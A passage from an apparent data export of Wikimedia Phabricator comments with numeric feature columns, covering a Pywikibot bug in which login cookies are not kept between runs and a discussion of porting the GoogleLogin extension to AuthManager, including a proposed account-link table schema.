Logged in on wiktionary:bs as MalafayaBot.
Logged in on wiktionary:fi as MalafayaBot.
Logged in on wiktionary:hu as MalafayaBot.
Logged in on wiktionary:ka as MalafayaBot.
Logged in on wiktionary:pt as MalafayaBot.
Logged in on wiktionary:oc as MalafayaBot.
Logged in on wiktionary:sv as MalafayaBot.
Logged in on wiktionary:ku as MalafayaBot.
Logged in on wiktionary:nds as MalafayaBot.

First odd thing: file pywikibot.lwp has been changed but it's contents is simply one line:
 #LWP-Cookies-2.0

I then run interwiki for example:

QUOTE
Password for user MalafayaBot on wiktionary:pt (no characters will be shown):
Logging in to wiktionary:pt as MalafayaBot
Retrieving 1 pages from wiktionary:pt.
[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
[ast:Categoría:Arquitectura]]
[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
[az:Kateqoriya:Memarlıq]]
[......]

Again, it asked for credentials. For each new run, I have to enter credentials.

If you intend to reproduce this issue, it's probably best to delete your pywikibot.lwp file first."
515503,Login credentials are not kept between runs,"Change 234170 merged by jenkins-bot:
Set Session.cookies

[[https://gerrit.wikimedia.org/r/234170]]",,,1440637469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8823529411764706,"Change 234170 merged by jenkins-bot:
Set Session.cookies

[[GERRIT_URL]]"
515501,Login credentials are not kept between runs,"Change 234016 abandoned by XZise:
Revert ""Add OAuth support for Pywikibot""

Reason:
Revert is not necessary anymore as I25119aaf fixed the issue.

[[https://gerrit.wikimedia.org/r/234016]]",,,1440637440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,14.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9722222222222223,0.8055555555555556,"Change 234016 abandoned by XZise:
Revert ""Add OAuth support for Pywikibot""

Reason:
Revert is not necessary anymore as I25119aaf fixed the issue.

[[GERRIT_URL]]"
515500,Login credentials are not kept between runs,"Change 234017 abandoned by XZise:
Partially revert ""Add OAuth support for Pywikibot""

Reason:
Revert is not necessary anymore as I25119aaf fixed the issue.

[[https://gerrit.wikimedia.org/r/234017]]",,,1440637416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,14.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.108108108108108,0.8378378378378378,"Change 234017 abandoned by XZise:
Partially revert ""Add OAuth support for Pywikibot""

Reason:
Revert is not necessary anymore as I25119aaf fixed the issue.

[[GERRIT_URL]]"
515444,Login credentials are not kept between runs,"Output of pwb.py version, if still relevant (did not update to latest version as of now):

>pwb.py version
Pywikibot: [https] r-pywikibot-core.git (900490b, g6261, 2015/08/26, 11:32:07,
UTDATED)
Release version: 2.0b3
requests version: 2.7.0
  cacerts: C:\Program Files\Python\lib\site-packages\requests\cacert.pem
    certificate test: ok
Python: 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)]
PYWIKIBOT2_DIR: Not set
PYWIKIBOT2_DIR_PWB: D:\Work\pywikipedia
PYWIKIBOT2_NO_USER_CONFIG: Not set
Config base dir: D:\Work\pywikipedia
Usernames for family ""wiktionary"":
        el: MalafayaBot (no sysop configured)
        en: MalafayaBot (no sysop configured)
        zh: MalafayaBot (no sysop configured)
        ca: MalafayaBot (no sysop configured)
        vo: MalafayaBot (no sysop configured)
        io: MalafayaBot (no sysop configured)
        ia: MalafayaBot (no sysop configured)
        gl: MalafayaBot (no sysop configured)
        es: MalafayaBot (no sysop configured)
        az: MalafayaBot (no sysop configured)
        nl: MalafayaBot (no sysop configured)
        nn: MalafayaBot (no sysop configured)
        no: MalafayaBot (no sysop configured)
        tr: MalafayaBot (no sysop configured)
        li: MalafayaBot (no sysop configured)
        lt: MalafayaBot (no sysop configured)
        vec: MalafayaBot (no sysop configured)
        ro: MalafayaBot (no sysop configured)
        is: MalafayaBot (no sysop configured)
        fr: MalafayaBot (no sysop configured)
        bg: MalafayaBot (no sysop configured)
        uk: MalafayaBot (no sysop configured)
        de: MalafayaBot (no sysop configured)
        mg: MalafayaBot (no sysop configured)
        da: MalafayaBot (no sysop configured)
        br: MalafayaBot (no sysop configured)
        bs: MalafayaBot (no sysop configured)
        fi: MalafayaBot (no sysop configured)
        hu: MalafayaBot (no sysop configured)
        ka: MalafayaBot (no sysop configured)
        pt: MalafayaBot (no sysop configured)
        oc: MalafayaBot (no sysop configured)
        sv: MalafayaBot (no sysop configured)
        ku: MalafayaBot (no sysop configured)
        nds: MalafayaBot (no sysop configured)

",,,1440633395,,PHID-USER-maceogqtxg4qfaefx7wd,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.6,0.4,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.2,0.0,0.0,0.8,0.0,0.0,0.0,0.0,0.0,0.0,0.8,0.2,7.4,0.0,0.2,0.8,0.0,0.0,0.0,0.0,0.0,13.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.2,11.4,0.2,0.0,7.6,0.0,0.0,0.0,0.0,0.6,0.0,2.2,0.0,0.0,2.0,12.4,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.8,4.670451436388509,0.32653898768809847,"Output of pwb.py version, if still relevant (did not update to latest version as of now):

QUOTE
Pywikibot: [https] r-pywikibot-core.git (900490b, g6261, 2015/08/26, 11:32:07,
UTDATED)
Release version: 2.0b3
requests version: 2.7.0
  cacerts: C:\Program Files\Python\lib\site-packages\requests\cacert.pem
    certificate test: ok
Python: 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)]
PYWIKIBOT2_DIR: Not set
PYWIKIBOT2_DIR_PWB: D:\Work\pywikipedia
PYWIKIBOT2_NO_USER_CONFIG: Not set
Config base dir: D:\Work\pywikipedia
Usernames for family ""wiktionary"":
        el: MalafayaBot (no sysop configured)
        en: MalafayaBot (no sysop configured)
        zh: MalafayaBot (no sysop configured)
        ca: MalafayaBot (no sysop configured)
        vo: MalafayaBot (no sysop configured)
        io: MalafayaBot (no sysop configured)
        ia: MalafayaBot (no sysop configured)
        gl: MalafayaBot (no sysop configured)
        es: MalafayaBot (no sysop configured)
        az: MalafayaBot (no sysop configured)
        nl: MalafayaBot (no sysop configured)
        nn: MalafayaBot (no sysop configured)
        no: MalafayaBot (no sysop configured)
        tr: MalafayaBot (no sysop configured)
        li: MalafayaBot (no sysop configured)
        lt: MalafayaBot (no sysop configured)
        vec: MalafayaBot (no sysop configured)
        ro: MalafayaBot (no sysop configured)
        is: MalafayaBot (no sysop configured)
        fr: MalafayaBot (no sysop configured)
        bg: MalafayaBot (no sysop configured)
        uk: MalafayaBot (no sysop configured)
        de: MalafayaBot (no sysop configured)
        mg: MalafayaBot (no sysop configured)
        da: MalafayaBot (no sysop configured)
        br: MalafayaBot (no sysop configured)
        bs: MalafayaBot (no sysop configured)
        fi: MalafayaBot (no sysop configured)
        hu: MalafayaBot (no sysop configured)
        ka: MalafayaBot (no sysop configured)
        pt: MalafayaBot (no sysop configured)
        oc: MalafayaBot (no sysop configured)
        sv: MalafayaBot (no sysop configured)
        ku: MalafayaBot (no sysop configured)
        nds: MalafayaBot (no sysop configured)

"
515393,Login credentials are not kept between runs,"Change 234170 had a related patch set uploaded (by John Vandenberg):
Set Session.cookies

[[https://gerrit.wikimedia.org/r/234170]]
",,,1440629866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.086956521739131,0.8695652173913043,"Change 234170 had a related patch set uploaded (by John Vandenberg):
Set Session.cookies

[[GERRIT_URL]]
"
515102,Login credentials are not kept between runs,"Change 234017 had a related patch set uploaded (by Merlijn van Deen):
Partially revert ""Add OAuth support for Pywikibot""

[[https://gerrit.wikimedia.org/r/234017]]
",,,1440610369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.870967741935484,0.8709677419354839,"Change 234017 had a related patch set uploaded (by Merlijn van Deen):
Partially revert ""Add OAuth support for Pywikibot""

[[GERRIT_URL]]
"
515097,Login credentials are not kept between runs,"Change 234016 had a related patch set uploaded (by Merlijn van Deen):
Revert ""Add OAuth support for Pywikibot""

[[https://gerrit.wikimedia.org/r/234016]]
",,,1440610011,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.8666666666666667,"Change 234016 had a related patch set uploaded (by Merlijn van Deen):
Revert ""Add OAuth support for Pywikibot""

[[GERRIT_URL]]
"
515095,Login credentials are not kept between runs,Bisection indicates this recession was introduced in 8624ddec140253ec46e0f39c1f5bdb05184840ff (Add OAuth support for Pywikibot).,,,1440609900,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.25,1.0,Bisection indicates this recession was introduced in 8624ddec140253ec46e0f39c1f5bdb05184840ff (Add OAuth support for Pywikibot).
515094,Login credentials are not kept between runs,What's the output of pwb.py version?,,,1440609696,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,What's the output of pwb.py version?
515093,Login credentials are not kept between runs,What's the output of pwb.py version?,,,1440609695,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,What's the output of pwb.py version?
110294,Update GoogleLogin to use AuthManager,"This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin instead of having to do its own special page and such.
",Medium,50.0,1440571585,1466226084.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_description,resolved,True,c3,3,True,False,False,7,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,13.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.67741935483871,1.0,"This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin instead of having to do its own special page and such.
"
697752,Update GoogleLogin to use AuthManager,"Change 299866 merged by jenkins-bot:
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[https://gerrit.wikimedia.org/r/299866]]",,,1469026180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,54,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,4.809523809523809,0.9047619047619048,"Change 299866 merged by jenkins-bot:
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[GERRIT_URL]]"
697246,Update GoogleLogin to use AuthManager,"Change 299866 had a related patch set uploaded (by Gergő Tisza):
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[https://gerrit.wikimedia.org/r/299866]]
",,,1468963662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,54,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,26.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,4.592592592592593,0.8518518518518519,"Change 299866 had a related patch set uploaded (by Gergő Tisza):
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[GERRIT_URL]]
"
684587,Update GoogleLogin to use AuthManager,">>! In T110294#2394443, @Florian wrote:
> * Login -> Signup -> Login workflow should be implemented as it is reasonable, that an user, who authenticates with an external site, want to create a new account if there isn't one so far for this credentials, or at least an option to create a new account (I thought we already have a task for this but I couldn't find it :/)

-> {T138678}",,,1466878654,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.6666666666666665,0.8888888888888888,"QUOTE
QUOTE

-> {T138678}"
683912,Update GoogleLogin to use AuthManager,"I think, that the `ual_external_account_identifier` should be a string, or maybe a text field (I'm not sure, how long an identifier can be). I think most of the external account ids will be an integer, a GUID or the e-mail address. Any other identifier sounds like a very very rare case (at least I haven't seen this so far, which doesn't mean, that it doesn't exist).

> Can we sensibly apply the shown uniqueness constraint on it to help prevent multiple accounts linked to the same external account?
I can't think how we should handle, if one external account is linked to multiple ""internal"" users. If a user wants to login with the account, what wiki user should be logged in? Should the user has the possibility to select the correct user? There could be a reasonable use case, if an user has one admin account and one ""normal"" user account but want to login with one external account (and select which what account he want to login). So I'm not entirely sure, what we want to support and what not, depending on this, we can apply the unique index or not :/",,,1466728596,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,51,True,0.3333333333333333,0.0,1.0,0.6666666666666666,3.0,6.0,1.0,0.0,0.0,1.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,6.666666666666667,7.0,0.0,2.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,5.666666666666667,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,12.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,6.0,2.0,5.0,2.3333333333333335,3.0,8.0,0.0,0.3333333333333333,0.0,0.0,6.333333333333333,0.0,1.6666666666666667,0.0,4.333333333333333,7.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,4.333333333333333,0.0,3.3333333333333335,3.3333333333333335,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,3.4986586183769286,0.7108651911468812,"I think, that the CODE should be a string, or maybe a text field (I'm not sure, how long an identifier can be). I think most of the external account ids will be an integer, a GUID or the e-mail address. Any other identifier sounds like a very very rare case (at least I haven't seen this so far, which doesn't mean, that it doesn't exist).

QUOTE
I can't think how we should handle, if one external account is linked to multiple ""internal"" users. If a user wants to login with the account, what wiki user should be logged in? Should the user has the possibility to select the correct user? There could be a reasonable use case, if an user has one admin account and one ""normal"" user account but want to login with one external account (and select which what account he want to login). So I'm not entirely sure, what we want to support and what not, depending on this, we can apply the unique index or not :/"
682144,Update GoogleLogin to use AuthManager,">>! In T110294#2394443, @Florian wrote:
> * An extension still has to handle a ""connection"" between the local wiki account and the identifier of the external site (GoogleLogin uses the user_google_user table for that). However, it would be cool to have a central table for it, and an interface that allows an extension to specify the type of the connection (e.g. google_auth) and the interface handles the connection between multiple external site account connections and the one local wiki account (the same what GoogleLogin does with the GoogleUser class and the user_google_user table, but more global and better thought). What do you think about that? It would make it easier for Linkproviders to create/manage links between accounts :)

That table would need to be something like
```
CREATE TABLE /*_*/user_account_links (
    ual_id int unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT,
    ual_user int unsigned NOT NULL, -- user_id or an ID from CentralIdLookup, same for all types.
    ual_type int unsigned NOT NULL, -- FK to ualt_id
    ual_external_account_identifier ??? NOT NULL
);
CREATE INDEX /*i*/ual_user_type ON /*_*/user_account_link (ual_user,ual_type);
CREATE UNIQUE INDEX /*i*/ual_external_account ON /*_*/user_account_link (ual_type,ual_external_account_identifier);

CREATE TABLE /*_*/user_account_link_types (
    ualt_id int unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT,
    ualt_type varchar(?) NOT NULL
);
CREATE UNIQUE INDEX /*i*/ualt_type ON /*_*/user_account_link_types (ualt_type);
```
The troublesome bit is that `ual_external_account_identifier` field. Is it a string (e.g. an email address), or an integer, or a GUID, or some JSON blob with multiple fields? How big does the field need to be? Can we sensibly apply the shown uniqueness constraint on it to help prevent multiple accounts linked to the same external account?",,,1466448997,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,1.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,9.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,12.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,1.0,4.0,0.0,0.0,4.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,4.1558441558441555,0.7142857142857143,"QUOTE
QUOTE

That table would need to be something like
``CODE`CODEual_external_account_identifier` field. Is it a string (e.g. an email address), or an integer, or a GUID, or some JSON blob with multiple fields? How big does the field need to be? Can we sensibly apply the shown uniqueness constraint on it to help prevent multiple accounts linked to the same external account?"
682108,Update GoogleLogin to use AuthManager,"First of all: AuthManager is a lot easier to handle as AuthPlugin or (like GoogleLogin does) implementing anything from scratch. The interfaces provide nearly anything to integrate a login provider into the login/signup workflow. However, two points which we could do better:

* Login -> Signup -> Login workflow should be implemented as it is reasonable, that an user, who authenticates with an external site, want to create a new account if there isn't one so far for this credentials, or at least an option to create a new account (I thought we already have a task for this but I couldn't find it :/)
* An extension still has to handle a ""connection"" between the local wiki account and the identifier of the external site (GoogleLogin uses the user_google_user table for that). However, it would be cool to have a central table for it, and an interface that allows an extension to specify the type of the connection (e.g. google_auth) and the interface handles the connection between multiple external site account connections and the one local wiki account (the same what GoogleLogin does with the GoogleUser class and the user_google_user table, but more global and better thought). What do you think about that? It would make it easier for Linkproviders to create/manage links between accounts :)

Otherwise I can't think about big pain points in using AuthManager, probably some examples would be good (however, linking some extensions on the doc page which already implement providers for different use cases may be enough as examples :)).",,,1466446702,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,1.0,0.6666666666666666,0.0,0.3333333333333333,1.0,7.0,1.6666666666666667,0.0,0.0,0.3333333333333333,3.0,1.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,6.0,11.666666666666666,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,1.0,0.0,5.333333333333333,1.6666666666666667,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,14.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,1.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,9.333333333333334,2.3333333333333335,7.333333333333333,0.6666666666666666,3.3333333333333335,12.333333333333334,0.0,0.6666666666666666,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,4.0,11.666666666666666,5.0,0.3333333333333333,0.6666666666666666,0.0,4.0,0.0,2.0,4.333333333333333,0.0,1.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,4.332087542087542,0.7393939393939394,"First of 